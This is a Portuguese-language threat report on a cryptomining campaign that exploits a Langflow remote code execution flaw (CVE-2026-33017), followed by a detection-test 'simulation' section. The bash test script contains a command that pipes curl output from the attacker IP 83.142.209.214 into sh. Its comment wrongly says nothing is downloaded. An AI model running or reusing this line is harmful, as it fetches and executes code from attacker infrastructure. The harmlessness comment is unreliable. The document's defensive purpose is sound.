Campanha de Criptomineração CVE-2026-33017: De Langflow a Monero

Resumo

Uma campanha de mineração de criptomoeda está explorando uma falha de execução remota de código não autenticada no Langflow para implantar um minerador baseado em Go personalizado. A cadeia de ataque usa um dropper de script bash para estabelecer persistência e mover-se lateralmente através de chaves SSH reutilizadas. O malware também desativa medidas de segurança de nível de host e termina processos de mineração concorrentes para maximizar os recursos do sistema disponíveis.

Investigação

Pesquisadores monitoraram a campanha durante um período de 19 dias e identificaram um padrão de exploração consistente envolvendo um flow_id codificado e strings de user-agent rotativas. Sua investigação revelou uma intrusão em várias etapas construída em torno de um binário baseado em Go chamado lambsys.elf, que lidava com evasão de defesa, remoção de logs e persistência suportada por watchdog. Com base no comportamento de exclusão de usuários e técnicas de movimento lateral, acredita-se que a cadeia de ferramentas compartilha origem com a família KORKERDS ou MALXMR.

Mitigação

As organizações devem atualizar o Langflow para a versão 1.9.0 ou mais recente para remediar a questão de execução remota de código. Também é fortemente recomendado bloquear a exposição à internet pública de instâncias do Langflow e evitar executar o serviço com privilégios excessivos. Controles adicionais devem garantir que os fluxos públicos não possam aceitar entradas não autenticadas capazes de disparar a execução de código.

Resposta

Se essa atividade for detectada, as equipes de segurança devem tratá-la tanto como uma violação de mineração de criptomoeda quanto como um possível incidente de exposição de chave SSH. As etapas imediatas devem incluir a rotação de todas as chaves SSH potencialmente expostas e a revisão de hosts conectados em busca de sinais de movimento lateral. As equipes também devem auditar logs do sistema para criação ou exclusão de contas não autorizadas e inspecionar sistemas em busca de alterações de configuração de segurança não aprovadas.

Execução de Simulação

Pré-requisito: A Verificação de Telemetria & Baseline Pre-flight deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.

• Narrativa de Ataque & Comandos: O invasor identifica uma instância vulnerável do Langflow rodando em um servidor Linux. Usando a vulnerabilidade CVE-2026-33017, o invasor injeta uma carga útil maliciosa em Python em uma solicitação. O objetivo é contornar defesas de perímetro e implantar um criptominer Monero. A carga útil usa o os.system do Python para invocar /bin/sh, que então baixa um script de shell (isp.sh) da infraestrutura do invasor (83.142.209.214:8080) e o canaliza diretamente para um shell para execução imediata.

• Script de Teste de Regressão:

  #!/bin/bash
  # Simulação da exploração CVE-2026-33017 via injeção de Python
  # Este script imita a linha de comando exata que a regra de detecção procura.
  
  echo "[+] Iniciando Simulação: Exploração CVE-2026-33017"
  
  # Usamos python3 para executar a string específica exigida pela lógica da regra
  # Nota: Não estamos realmente baixando nada; estamos apenas imitando a string de comando.
  python3 -c "__import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh')"
  
  echo "[+] Comando de Simulação Executado."

• Comandos de Limpeza:

  # Nenhuma alteração permanente feita pelo script de simulação; 
  # no entanto, se algum arquivo fictício foi criado, ele deve ser removido.
  echo "[+] Limpando artefatos de simulação..."
  # (Nenhum artefato criado nesta simulação de linha de comando específica)